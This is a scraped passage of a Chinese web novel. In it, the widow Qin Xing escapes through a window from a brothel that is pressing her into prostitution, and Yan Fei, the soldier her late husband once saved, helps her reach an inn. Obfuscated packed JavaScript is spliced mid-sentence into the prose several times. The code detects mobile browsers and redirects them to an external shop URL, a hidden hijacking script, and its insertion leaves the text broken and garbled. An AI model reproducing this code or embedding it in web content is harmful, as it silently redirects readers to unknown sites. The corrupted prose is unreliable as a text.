想了想,在通传完清香后,黄李又转了个弯儿,把这事禀报到了老鸨跟前。 …… 阎非找回来,算是在清香的意料之中。 因为他在别处根本不可能找到秦杏。 在楼下观望了那么一出,她最终站出来给阎非一点提示,也是深思熟虑过的。 据环佩转述,秦杏是个众叛亲离的处境。 连娘家人都不管,突然冒出这么个意料之外的人来,这人到底是什么身份呢? 清香自问还算有几分眼力,这人……或许有几分来头也说不定。 要是她猜得准了,卖他一个人情,不是比单单卖秦杏一个人的人情更值当吗? 清香没有拿乔。 楼里到处是老鸨的眼线,搞不好有人找秦杏的事很快就会传到老鸨耳中。届时,她能不能有机会跟那人搭上话还未可知呢。 “官人。” 面前摆了几道上好的酒菜,都是阎非亲口点的。 不过他既没举杯,也未动筷,只是垂眼看着这一桌佳肴,不知在思索些什么。 清香的到来打断了阎非的思绪。 “听说官人折返回来,奴家心里欢喜得紧。”清香声音柔而不媚,话音听入耳中十分舒服,让人生不起被打扰的不悦。 阎非视线自她脸上扫过,确认来的是之前跟他搭话那人,心头不由得松了一些。 看清香抬手在倒酒,竖掌止住她的动作。 “某不习惯饮酒,姑娘不必倒了。” “之所以寻回来,是想请问姑娘一件事。” 有事求人,哪怕铁骨铮铮的汉子也得矮几分腰。 在察觉周围的人都未把视线落在此处时,他从怀里取出一锭银元宝推至清香面前,稍稍倾身,极为恳切地求问:“你们楼中近来究竟有没有新添一位姓秦的女子?” 那是一锭银白发光、崭新的十两元宝。 清香手头积蓄不少,十两银子于她不过毛毛雨。 可看到这一锭元宝,她却一反常态的感到愉悦。 她知道,赌对了。 这男子必然有些来头。 她抬起衣袖,借着把酒杯递到对面的动作巧妙将银锭盖住,避免了周围人发现。 但她也没有收下,仅仅是那么遮挡着。 “官人不如先与我说说,您与她是何关系?” 从李家沟找到秦家村,又从秦家村找到这儿,阎非已经跟许多人解释过自己和秦杏之间的关系,也不差这一次了。 “她的亡夫曾经在战场上救过我一命。”默了默,阎非选择把话说得更详尽一些:“她于我,既是救命恩人的妻子,也是袍泽的遗孀。” 对上阎非琥珀色眼眸的那一刻,清香心头有些震动。 忽然的,有些羡慕秦杏。 世上多得是白眼狼,她家从前没败落前,年头到年尾,从不缺亲戚投奔。 她爹算得上乐善好施,只要上门来的,从不吝啬给予一些帮助。 可那些人在她家家道中落后,不约而同表现出一副与她家从未有过瓜葛的模样,唯恐避之不及。 原来这世上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485504|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重情义的人不是没有,是她们没遇上。 她眼眶有些不受控制地酸涩。 阎非桌下的手摩挲了几下膝盖,他的内心其实不太平静。 从清香的种种反应中,他可以看出清香多少知道一些秦杏的下落。 不过他强压下了这一份焦急,等待清香平稳住情绪。 少顷,清香再度展露笑颜,稍稍欠了欠身道:“让您见笑了。” 阎非的身份已经很明显,是军中的人。 出手这般阔绰,又有这份气度,显然不是个大头兵。 行伍中人大多脾性直来直去,她不再卖关子。 “几日前,楼里确实新来了一名杂役,大家都叫她杏儿,我于今日下晌得知,她姓秦,渠县秦家村人氏,丧夫不久。” 阎非指尖微微蜷缩,神色也稍有一紧,不过他很快掩饰了过去,将一腔关切掩藏得只剩两三分的样子。 “她如今在哪?” 清香眸光一闪—— 她当然会告诉这人秦杏在哪儿,只是在此之前想要说说秦杏的处境多么不易,好让两人更加铭记自己的恩情。 稍稍思量后,她红唇微张。 正张口欲说时,突然浑身一震,又紧紧地将嘴闭上。 ——老鸨来了。 她心头有些慌,往老鸨身后看了一眼后更是觉得大事不妙。 除了春红,黄李也赫然站在老鸨身后,显然有人来找秦杏的消息,是他禀报给老鸨的。 一行人直直冲着此处过来,清香只得起身对老鸨行礼。 老鸨今日穿了身绛紫色衣裳,头钗玉佩一个不少,打扮得如朝中五六品官员家里的老夫人一般庄重体面。 她没有理会清香,笑意盈盈地径直来到离阎非两三步远处。 “这位贵客,打搅了。敢问咱们楼中的清香,服侍得可还周到?” 伸手不打笑脸人,阎非暂且猜不透老鸨的用意,只能顺着话沉声答道:“十分妥帖。” 闻言,老鸨笑意更甚,姿态也愈加谦卑:“那便好。听底下的人说,清香得罪了一位才貌双全的佳公子,怕她年轻不晓事,怠慢了贵客,我心神不宁,想着出来替她赔罪一二。” “但公子既满意清香的服侍,老妇也就放心了。” 她微微欠身做了个行礼的模样,转过身子对上了之前一直没有理会的清香,不过仿佛变了个人一样,眉眼透着一股冷漠和凌厉。 “你入宜春楼数年了,说什么话做什么事,心头应当自有分寸。” “若你做下什么不规矩的事,妈妈我,少不得要重新教导教导你,给你立立规矩。” 清香老老实实垂头听训,一言不敢发。 三人都听懂了老鸨话里的威胁。 尽管阎非已经确定了秦杏就在这楼里,因着这番话,为了不把火引到清香身上,直到老鸨离开,他也没能把事情挑破。 而老鸨走前,吩咐人送了一壶好酒上来以做赔罪,同时将春红留下,立在桌边替二人斟酒。 后半程,两人再也没能寻得机会续上之前的话题。 桌上酒菜阎非一口未动,倒是清香抱了琵琶出来弹了几曲。 三首曲子中,有两首曲子是急调,声声都仿佛在暗示着阎非,秦杏的处境不容乐观。 9. 第9章 入了夜后,堆放杂物的这间屋子便成了一方隐蔽又可怖,被人遗忘了的角落。 屋子里那扇极小的窗户闭得紧紧的,外边不再有光线透进来。 贴地坐着有些冷,秦杏一直维持着环抱膝盖的姿势,四肢都僵麻了。 犹记得身后是个柜子,旁边地上也堆了几个瓷瓶。 怕碰到了发出响动,她不敢有大幅度的动作,只偶尔捏一捏腿,轻微缓解一下麻木。 这里是二楼最尽头的房间,不仅来往的人少,一楼的声响也很少能够穿透过来。 她在枯燥得好像没有尽头的等待里,已经没有了刚开始的恐惧,只是脑子里七七八八的念头还平静不下来。 其中最强烈的一个念头,是逃出去。 两张门被守得密不透风,除非变成蚊子,否则休想出去。 除此之外,她一遍遍天马行空的想着其它逃出去的手段。 比如,偷偷搭个梯子,从外墙翻出去。 又或者,从墙根下挖个地洞,爬到墙外。 这些倒也不是完全不可行,只是她要么缺少工具,要么缺少时间。 要说干脆利落只需要勇气的逃跑方式,倒不如……砸烂窗隔,从这二楼窗口上跳下去。 今日从楼梯下滚落的痛感还记忆犹新,脑中某条血管却已然突突地跳动着,蛊惑她转头看向那扇窗。 没关系,不是摔过一次了吗?不会出事的。 不知道从哪里冒出来的声音,一遍遍地给这个危险的念头添火加柴。 前堂,在春红一错不错地盯视下,清香又弹完了一曲。 阎非起身告辞,再次取出一锭银子,充作酒钱和打赏。 清香行礼谢过,放下琵琶,双手柔柔地拉住阎非的衣袖,“奴家送送官人。” 阎非眉心一蹙,下意识要将衣袖抽出来。 还没动作完,一个折得小小的纸条先一步被清香塞入了他手心。 出宜春楼,阎非随便选了个方向走了一段路,谨慎确认过周围无人,才展开那张卷成一卷的纸条。 最先跃入眼帘的是‘老鸨’二字。 他眉头紧锁地继续将纸条打开,很快看清写的第一句话是‘老鸨欲迫秦杏卖身’。 尽管早就发现宜春楼有些猫腻,看到这行字阎非也还是‘噌’地冒出了一股怒火。 左手拇指将剩下的一截纸条一次性拨开,然后便看到了清香给自己的提示:‘或可找秦三娘破局。’ “秦三娘。”他近乎呢喃地将这个并不陌生的名字念了一遍。 从西北军营出发后,他骑快马一路风雨兼程赶路,于昨日傍晚进入的郸州地界。 就近寻了一户农家借宿了一晚,今晨又起来赶路,辰时不到,好歹赶到了李家沟。 李家人带他去了李全坟前,却对秦杏的去向绝口不提。 他几番打听得知秦杏娘家在秦家村,寻了过去,从那里的村民嘴里得知秦杏回到娘家后过得并不好,甚至于从前些日子起不知所踪。 村民们都不知秦杏下落,他找去秦杏几个兄长家中也问不出个所以然来。 最后亮明身份寻了里长,里长方告知前不久有人替秦杏办了去郸州城的路引,那人名字正是秦三娘。 秦三娘的夫家阎非当然也去寻过,可偏不巧,门窗紧闭,家中无人。 他犹豫是守株待兔等秦三娘归家,还是直接去郸州城寻秦杏。 郸州城三年前李全成亲,他倒是去过一次,犹记得城内极大,想要寻一个人想必不容易。 恰好这时秦三娘夫家的邻居从溪边浣衣归来,他向人家讨了碗水喝,借机从人家那儿了解到了秦三娘为人。 得知秦三娘和其丈夫常做一些拉皮条的活儿,阎非再也无法空等下去了。 骑着马赶在日落前进了郸州城,随便找了一处客栈放下行李、把马拴入马厩,刚好天也黑了,他就沿着这些亮着红灯笼的花楼寻找起来。 本来想先把这个秦三娘放一放,找到秦杏再说。 没想到绕了一圈,还是绕不过。 取出怀里的火折子走到背风处将手里的纸条焚烧干净,阎非沿着傍晚记下的路线,先回了客栈。 花楼的酒水菜肴出于警惕阎非一口都没碰。 他虽没去过风月场,但也知晓那些地方有颇多见不得光的手段。 回客栈食用了些东西果腹后,他简单冲了个凉,换上了一身干净的黑衣。 依郢国律,夜间私闯民宅者,笞四十。 阎非知晓这条律法,所以不仅寻了块布巾将下半张脸牢牢遮住,还又在脑上包了一条头巾,确保全身上下只露出两只眼睛、一双手。 顺着客栈二楼的檐角来到马厩顶棚,再翻过院墙,成功到了客栈后巷。 到达宜春楼时,距离子时只剩一个时辰。 宜春楼前堂只剩下两三桌喝得酩酊大醉的纨绔子弟在胡言乱语耍酒疯。 阎非隔着很远听了听动静,小心绕开了前门。 他并没有过偷鸡摸狗的经历,但曾在军中当过一两年斥候。 晚上两进宜春楼,整个前堂的人员分布、地形他都早已牢记于心。 但光记住前堂是无用的。 想要找到秦杏,恐怕要一间一间屋子去搜寻。 顺利的话,能把秦杏找到,确认她是否安全。 不顺利的话,中途行踪暴露被人发现,也绝不能叫人捉住。 因此入楼前,他要仔细计划好从何处进去,自何处离开。 阎非沉心静气,站在院墙外一步步丈量宜春楼的大小,细听楼里有没有人轮班巡逻守卫,观察外墙是否有薄弱点。 ……从主楼左边起,顺着整个外墙走上了一遍,来到了主楼右侧。 接近打烊的时间,楼中最后一桌客人也散了。 隔着高高的院墙,阎非听到有杂役在院中走动的声响,间或会有人打个哈欠,跟身边人抱怨今日遇到的难缠客人。 绕着楼体打转的这一圈,阎非每隔不久就能听到一些细碎的脚步声,但规律性出现的脚步声倒是没有。 阎非猜测,傍晚至子时这段时间里,宜春楼内零零碎碎走动的人很多,因此没有安排人巡逻。 至于子时之后有没有,则不好判断。 不管是夜袭敌营还是夜探敌营,都绝不能鲁莽冒进。 摸清敌军的行动规律,方能制定计划以达成目的。 在跟宜春楼隔了一条街的小巷子里,阎非靠着墙阖眼养神,静待着时机。 …… 脑中的念头愈演愈烈后,秦杏终于撑着有几分发麻的腿站起来,走至那扇她盯视了许久的窗户前。 推开它,跳下去。 区区两层楼,不至于出什么大问题。 她在心里做足了心里建设,终于鼓起勇气去推那扇窗。 轻轻一推,窗户纹丝不动。 她加了些力气,仍然纹丝不动。 怎么会? 清香姑娘房里有一扇窗户,她亲手开过,不就是用力推开的吗? ——忘了,底下有个小栓。 她照着记忆向下摸索着,却没摸到印象中的东西。 怎么回事? 心头有些慌,她想,或许是开错了,不应该向外推的,往里拉试试呢? 十息过后,窗户仍然纹丝不动地合拢着。 秦杏把整个窗框摸索遍了,终于发觉这杂物间的窗户跟墙体严丝合缝地嵌在一块,根本无法打开。 意识到的一瞬间,秦杏简直心灰意冷。 心中一片麻木之际,恰好走廊上有人经过摔碎了一个瓷瓶。 清脆的动静将秦杏吓得一激灵。 她以为自己被发现了,抱住臂膀缩着脖子,瑟缩着就地蹲下,恨不得把自己埋进什么地方一样躲藏起来。 “你怎么做事的?知道这个瓷瓶值多少银子吗……晚些再给你算账!现在快去拿东西来清扫干净碎片,当心扎了客人的脚!” 外头的训斥声让秦杏恢复了一丝清明。 等走廊上那个瓷瓶的碎片被清扫干净,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485505|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像蹒跚学步的孩子一样,腿脚没什么力气,摇摇摆摆地借住外力,慢慢扶着墙站起。 她想重新回到那扇屏风之后,至于能藏多久都看天意吧。 走着走着,掌心碰到了一个冰冷的物件。 ——触感奇怪,非一般的摆件。 稍作犹豫,秦杏将其从墙上取了下来。 这东西不是很厚,长长一条,顶端是圆柱形,还刻了些花纹的样子,像是供人抓握的。 不知不觉间,她的手握上了那雕花的圆柱形把手,稍一用力,剑和剑鞘开始分离。 原来是一把软剑。 很多个念头从脑子划过。 或许,可以在别人冲进来要将她抓去签卖身契的时候将剑比在脖子上,以命相挟让老鸨放自己自由。 或许,也可以在老鸨拒绝自己后凭这把剑拼个鱼死网破。 时间一点点流逝,很多个大胆离奇的念头一一划过。 可能是天无绝人之路,某个瞬间秦杏突然有了一个新的念头——为什么不用这剑锋去把窗户磨开呢? 这算得上一个十分有用的念头。 她捧着剑到了窗边试了一阵,发现全然可行! 窗户虽然是和墙体嵌在一起的,但是窗户的窗架明显比墙体薄弱,只由一些细细的木头连接着。 她只要磨断五六根两指粗细的木头,就能将整个窗户掏空下来。 心里这般想着,她也这般做了。 一只手拿着剑柄,另一只手捏着剑刃横向的对着木头去摩擦并不是件容易事。 上手摸了大概十来下,秦杏就因心急而割伤了手。 好在她控制了些力道,只是一道不深的伤痕。 虽然受了伤,但效果也是有的。 被剑锋反复摩擦的地方已经有了不浅的锯痕,掉落了不少木屑。 可能锯了一两个时辰,也可能过了更久。 秦杏手上深深浅浅的伤已经多得数不清了,软剑也早已在过程中折断成几截。 终于,最后一根两指粗的木头也近乎被她锯断了。 感受到窗框只有那么薄薄一丝连接在窗架上,秦杏终于松开因长时间维持一个动作而僵硬的手指,放下了剑刃。 几次握拳又松开,手指的灵活度恢复了些许,她又抬了抬肩膀,让头和肩也放松了一下。 确定身体不会拖后腿了,她才好好把住窗框往外一推,顺利将锯了半天的窗框卸了下来。 有清凉的风夹杂着雨丝吹拂到了她脸上。 秦杏深深吐出一口气,此刻的心情介于开心和紧张中间。 既有即将逃出生天的轻松,又有因为楼层高度而产生的些许害怕。 如果摔断腿的话,不知道半晚上能够爬行多远。 希望能远一些吧,尽量不要让老鸨有机会发现从而将她抓住。 今日刚发了月钱,她的所有铜板都好好揣在怀里,清香姑娘赏的那只银镯也好好戴在手上。 她从没受过摔伤,也从没在郸州城的医馆里看过病……想来城内的医馆收诊金会比村里的郎中收得贵一些,希望她所有的家当能交得起诊金。 当然,最好是交完诊金后还能有些剩余。 将七七八八的想法清除后,秦杏仔细探耳除去聆听了一阵动静。 前堂好像没动静了,后院的那些屋子好像也都熄了灯。 她轻轻把手里的窗框放下,谨慎地完成跳下前的最后一步——将一块遮尘的布折成一叠,塞入嘴中。 她记得下午从楼梯上滚落都很疼。 如果疼痛再剧烈一些,或许她会痛呼出声。 为免引来更夫或者惊动楼里的人,一定一定要将所有痛苦都憋住。 似乎是万事俱备了。 她将腿伸出了窗框。 先是一条腿,再是另一条。 最后是大半个身子。 即将一跃而下的前一刻,她听到了一些瓦片的轻响。 动作顿住,顺着声音看去……好像对上了一双黑亮亮的眼睛? 10. 第10章 突兀地对上那双眼睛之后,秦杏的心脏开始一下接一下狂烈地蹦动起来,她的身体维持着一大半探出窗外的姿势,僵硬得如同一截木头。 老鸨发现她在锯窗逃跑,所以特意安排人守在这里等着抓她吗? 秦杏第一个念头确实如此,不过很快意识到了不对。 先不说老鸨没必要这么大费周章,就说面前这人的打扮也不对吧? 要是老鸨吩咐来捉她的,何必蒙脸穿黑衣,打扮得像个贼一样? 她满身戒备还没理清思绪,这个诡异的蒙面黑衣人出乎她意料地出声了。 “秦杏。” 声音很轻,尾音没有上扬。 不是疑问,而是平静地在叫她的名字…… 没有从声音里感觉到怒意、害怕或者敌意,这绝不是楼里某个龟公的声音。 雨丝不知何时下得细密起来,有几滴沾到了她长长的眼睫之上。 秦杏眼睛眨了眨,在调皮的雨滴眨落下去的同时,突然觉得这双眼睛有些眼熟。 电光火石之间,她想起了一个人。 不,绝不可能。 绝对不是那个人。 她正因自己有这么荒谬的联想而感到不可思议时——阎非顶着秦杏目不转睛的凝视,短暂的迟疑过后,伸手拉下了遮住下半张脸的布巾。 那一刹那,秦杏脑袋像被东西罩住了一样,耳中里一阵嗡鸣,什么念头都空了。 再度回过神时,她看到阎非伸出手臂,似乎要抓住她。 最先回笼的情绪是憎恶。 因为多年来,无数个日日夜夜她在心里憎恨过这个人。 几乎是下意识的,她的身体与阎非手臂相反的方向闪避过去。 一阵失重感传来,秦杏恍然回神自己是在窗口处,这么一躲,竟是毫无防备就冲着楼下跌落而去了。 她死死咬住嘴里的布巾,眼睁睁看着地面距离自己越来越近。 就在即将触地的刹那,一只手臂触及到了她腰,接着,是被人带着一连串的翻滚。 力道卸去大半,既没摔伤胳膊也没摔折腿,甚至几乎没感觉到什么疼。 毫发无损,本来是件好事,秦杏却没有半分感激。 她紧绷着脸从地上爬起来后,‘呸’地一下朝地上吐出嘴里的布巾,像需要撇开一个脏东西一样,飞快选定一个方向,迫不及待扭头便走。 阎非后一步从地上爬起来,只看到了秦杏毫不犹豫离开的背影。 他沉默地拉起布巾重新将下半张脸遮住。 秦杏走得果决。 很快,不管是那该死的、腌臜的宜春楼,还是那个害了她一辈子的人,都被她抛在了脑后。 可与刚刚从二楼落地时一样,心里迟迟生不出半分虎口脱险的喜悦。 纷纷杂杂的心绪乌云般笼罩在心头,毫不迟疑的步伐,不过是为了掩盖满脑子的茫然和无措。 她想不通自己该去哪里。 郸州城她并不熟,眼下又是夜深人静,家家户户门窗紧闭,街上半个人都没有,怀里揣着铜钱都找不着地方落脚。 难道要露宿街头吗? 那怎么也有寻个隐蔽些的地方,别碰上地痞流氓…… 她天马行空地想着乱七八糟的东西,其实诸多念头不过为了掩盖心里最在意的那一点:那个人为什么会出现在这里。 她不知道那人是否还在跟着她,不知道他出现在宜春楼是因为偶然还是因为别的什么。 总之,因为他的出现,一切计划都变了,心绪也跟着乱糟糟的。 想着想着,她又开始埋怨起来,一股怒火幽幽升起。 果然,果然他不是个好的,果然他是个害人精。 她的思绪飘飘荡荡跟这场夜雨一样,斜斜飘忽着,回到了三年前。 二月初六,一个顶好的嫁娶吉日。 一早上她就在家中几位嫂子的摆弄下穿好了嫁衣,描画好了妆容。 虽然下雨,但她爹娘都很高兴,因为渠县一直有穷风富雨的说法,成亲那天遇上下雨,是顶好顶吉利的兆头。 辰正时分,李全带着迎亲的队伍吹吹打打来到了她家门前。 一同祭拜过她家祖先,拜别了父母后,大哥背着她,把她送上了四人抬的喜轿之中。 乡下地方,大部分人家娶妻都是雇的牛车,体面些的也不过雇个二人抬的小轿。 四人抬的轿子,已经是一份了不得的体面。 爹娘弯了几十年的腰都挺直了,兄嫂们个个与有荣焉,笑得能流蜜。 从秦家村到李家沟要穿过两个村,一路看热闹的人不知多少。 火红的盖头和轿帘遮住了她的视线,喜庆嘹亮的乐声阻碍了她的听觉。 她看不出也听不清外面究竟有多少人讨要喜果,还是喜娘跟在轿边喜洋洋地看着这场热闹,凑在轿子的小窗前跟她讲,喜果发空了几篮…… 到了李家,拜过天地,喜娘陪着她一道儿去了新房。 李全还没揭红盖头,耳边只有喜娘惊叹连连的称赞,这张床做得好,又大又结实,还雕了花。 那个柜子也打得不错,用的木料好。 新房里的每一样喜娘都好似能夸出一朵花来,她初听还觉得惊奇,后来只认定是喜娘在说好话打消她的紧张。 等了许久,蒙了数个时辰的盖头终于被李全揭去。 烛光晃花了她的眼,可哪怕眼前一片迷蒙,她仍对着正立前方的李全,露出了个极为欢欣满足的笑。 外边宴席开了,李全紧张无措地往外走,不过快行了几步后突然顿住回首,声音极轻极温柔地安抚她:在这里不用害怕,桌上有饭食有糕点,尽情多吃一些,别饿着。 她脸颊一片滚烫,含羞应了。 吃东西时,她着眼打量这间以后常住的屋子,发觉喜娘并未胡说,屋子里的布置确实样样精心。 她喜欢极了,哪哪儿都觉着合心意,嘴角高高扬着,直到宾客散去,才生出些紧张。 ——出嫁前一晚,她看过避火图。 脸颊快要烧起来一般的烫,害怕、难为情的同时,心底又有一些隐秘的期待。 她和李全早就定亲了。 定亲后不久,恰逢秋收。 李全尚未回军营,去她家帮忙收过稻子。 一来二去,两人虽没有过肌肤之亲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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愤恨、厌恶、昨夜枯坐一夜无处发泄的情绪都有了宣泄口。 她像个不可理喻的疯子一样,毫无理智地冲进了堂屋,对着罪魁祸首极尽辱骂、诅咒、撕打…… 对方任她施为,打不还口,骂不还手。 她记得那双黑澄澄的眼睛,也记得他脸上的愧疚。 愧疚?看清他的神色后,秦杏怒火半点不消,愈发觉得可笑。 李全为了救他,已经注定断子绝孙了。 他却假惺惺地,连上门道贺都迟了一天,明明装个样子都装不像,到底做出这一副表情给谁看呐? 成为李家妇的那三年,李全和其寡母事事以她为先,将她捧在手心般照顾。 他们都很清楚李全无法传宗接代,只求她不要回娘家哭诉,不要把这件事张扬出去…… 最初那一两年她被照顾得很不错,比在娘家时还要快活许多。 然而成亲三年无所出,外边有了许多异声。李全的残缺无法对外解释,旁人便只背后对着她指指点点。 李全和婆母待她愈发贴心,她无法把怒火发在赔着小心、近乎卑微的一老一少身上。 每逢心里不痛快的时候,只想着新婚次日见到的那张脸,怨恨着阎非。 11. 第11章 李全死后的日子快得像一场梦。 借宿在兄嫂家中的时候秦杏还偶尔会在心头恨一恨阎非。到了宜春楼的这几天,反而压根没多少时间去憎恨了。 她漫无目的地穿街过巷,直到这场夜雨越下越大。 刚刚从高处落下都没摔伤,要是因为淋雨感染了风寒而花钱抓药,可太不划算了。 她摸了摸袖下藏着的银镯,这是她如今大部分的底气来源,发觉完好无损方松了口气,开始打量街边有没有什么地方可供她暂时避雨的。 运气似乎不错,前边的商铺就有一个屋檐。 她挡着雨冲刺过去,站稳后连忙跺脚、拍打衣袖和身上沾染的水珠。 “这里不是躲雨的好地方。” 阎非默默跟着秦杏行进,看到她似乎选定今晚在这里落脚,终于不再做一道沉默的影子了。 秦杏路上一次也没回头看过,也没听到过身后有什么脚步声。 突然冒出个声音,无异于之前翻窗时突然看到了一双眼睛,同样是吓了个激灵。 本来因为找到了避雨之处而心下稍安。 此刻秦杏的脸色又瞬间冷了下来,她双唇紧抿了一瞬,随后松开发出冷中带愠地质问:“你凭什么跟着我。” 雨幕里,阎非喉头滚动了几番,迟迟回答不出一个字。 扯下面巾看清自己的那一刻起,秦杏眼中就飞快冒出了很深的一股憎恶。 面对自己伸出去扶她的手,她宁愿从二楼跳下。 平安落地后更是头也不回就走,不愿意与自己交流一句。 他几乎想象得出,如果自己说跟着她是因为不放心,她一定会冷笑着叫他别管闲事。 会向三年前一样,恼怒、愤恨、厌恶地看着他。 这些当然是他应该承受的。 可他此刻并没有想要惹得秦杏生气的意愿。 于是回避了秦杏的质问,避重就轻道:“附近民居很多,晚些会有更夫从这里经过。” 若看到行迹可疑的人,更夫是可以将其扭送官府的。 秦杏虽然只是在屋檐下躲雨,但一女子深夜站在沿街商铺前,更夫怎么也会盘问一番。 宜春楼杂役们的衣裳布料做工都很不错,要是秦杏说不出身份来历,掏不出证明身份的户籍文书的话,也可能被误会为大户人家的逃奴。 说来说去都是麻烦。 然而这些都是后话。 阎非说出更夫二字后,秦杏失落地再度忆起了李全,阎非自己也是一怔。 或许是刚刚路上已经把三年前的旧事回想过了一遍,不想再一遍遍折磨自己,又或许是时辰太晚,折腾了一天心力憔悴。 这一次失神,没多久秦杏就清醒了过来。 “李全死了。”她艰涩地说出这个事实,在极其疲惫又不解之下,放下了一丝戾气。 她看着阎非,执拗地寻求一个答案:“为什么非跟着我。” 秦杏容貌姣好,尤其生着一双极其生动、漂亮的杏眼。 送上新婚贺礼那日,阎非就发现了。 当时他面对这个二八年华的少女心里只有无穷无尽的愧疚和歉意,此刻……亦然。 前方已经隐约传来了更声,秦杏寸步不动。 苦笑一声,阎非颓丧无力地坦白。 “我只是想帮你。”顿了顿,他补充了一个自认为充足的理由:“你是他的遗孀。” 秦杏的神色并没有快速松动。 她相信过秦三娘,秦三娘转头将她卖了。 今日她相信了环佩,环佩因为这些日子的情谊,真的帮了她。 现在又来了一个说要帮她的,可她记得三年前,自己狠狠得罪过对方。 想到这里,秦杏警惕地退了一步,不置可否。 看到秦杏眼中明晃晃的怀疑,除了感到意料之中外,阎非除去无奈,还感觉到了紧迫。 他耳力尚可,已清楚听到,更夫的脚步声到了前一个巷口。 “跟我来!” 他压低眉眼,迅速转身带路。 户籍文书和路引,秦杏确实一样都拿不出来。 再不走或许真的会被人盘问,她长吸了一口气,到底还是撇下犹豫,抬脚跟了上去。 时候晚了,客栈的门早已关闭。 阎非只好将秦杏带至客栈后门门口,自个儿先翻进去把门栓打开,再悄声引秦杏上楼。 有做斥候时的底子在,加上雨声掩护,阎非这事儿办得很利索,直至两人顺利上楼,也没惊动任何一个人。 “坐吧。” 猜得到秦杏心里还在警惕,进门后阎非仅仅是将门虚虚合拢,之后又立刻掏出火折子把屋里的两盏油灯都点亮了。 黑漆漆的屋子有了亮色,秦杏着眼打量了一番,慢吞吞地选了离门口最近的一处圆凳坐下。 今夜的雨一下就没停过,遇到更夫后不久,更是演变成瓢泼大雨。 两人身上都差不多湿透了,秦杏清楚自己没有更换的衣裳,坐下后,悄悄攥着湿哒哒在滴水的袖口,拧了一把水。 借着黄澄澄的灯光,阎非背对着秦杏解开了自己放在床头的包裹。 此次告假匆忙,他只带了两三身衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17505705|201981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服离营。 除去风尘仆仆今日换下来的那套,身上穿的这套,行囊里就只剩下了一套。 虽是穿过的,但眼下没机会去弄一身女儿家的衣裳来了。 阎非把一整套衣裳取了出来,妥帖地放在桌上。 “楼梯上滴落了不少水迹,我去打扫一番。你反锁住房门,换下湿衣就睡吧。” “这家客栈我今日才住进来,床铺都没动过,你可以放心歇下,至于别的事,早上再说如何?” 秦杏拧水的动作停下,修长的脖颈抬起,微微往上打量他。 雨势太急,方才两人都跑了一段。 这人又是辨路又是翻墙开门,一身似乎格外的湿。 烛光下,他的头顶噌噌冒着热气。 有一滴水珠顺着眉骨滑过高挺的鼻梁,不知是汗水还是雨水。 对自己的安排倒是说得明明白白,他自己呢? 有这样的疑惑一闪而过,不过也无所谓,因为秦杏没打算接受他的安排。 “不用。”她用下巴隔空轻点了点桌角那套干净的衣裳,“你自己换上。” “今夜算你好心,不过把床铺让出来就不必了。”秦杏别过头去。 “我只租你半张桌子,一条凳子。” 他们只是三年前见过一面的关系而已,没有交情,只有恨。 李全死了,往后她大抵连恨也恨得不那么理直气壮了。 阎非说的话,秦杏不信,也不想再深思。 论身手,她绝对犟不过对方,加上这一日过得太漫长了,她很疲乏,躲不动了。 等明日天一亮,又是新的一天。 她逃出了宜春楼,手头上还有些钱,所有一切都可以慢慢打算。 楼梯上的水迹太多,夜里若客栈掌柜或者伙计起夜看到了可能会无端生出麻烦来,阎非下楼处理去了。 秦杏趁此机会反锁住房门,把身上的衣服解下全部拧干了一遍。 因为穿了件厚褙子,贴身的小衣和裘裤只湿了一小部分,外裙倒是全湿了,尤其贴着地的那一圈,泥沙沾染了上去,弄得很脏。 她尽全力拧到最干的程度,才重新穿上。 她整理穿戴好,阎非仍然未归。 秦杏只觉轻松。 ——她并不想面对这个人。 为了省些事,她数出十枚铜钱来放到桌角,趴好,闭上了眼睛。 刚开始只是装睡,毕竟身上衣服有股冷意。 可好像等了很久也没听到有人进屋的动静,加上身体已经适应了湿衣的温度,竟真的不知不觉睡了过去。 12. 第12章 头有些晕沉沉的,眼皮似有千斤重。 脖颈酸痛无比,手臂也又僵又木,仿佛跟身体断开了连接。 还未睁眼先感知到了身上各处不适,一声叹息从秦杏喉间溢出。 想着天亮了还要盘算许多事,还要赶紧跟阎非分道扬镳,秦杏忍住不适,打起精神一点点将脑袋抬起。 她还维持着睡前的姿势,费力控制着脑袋抬到一定高度后,她转眼扫视屋中。 发觉屋里此刻除了她外没有别人,心头立刻一松,接着又细致打量起周围来。 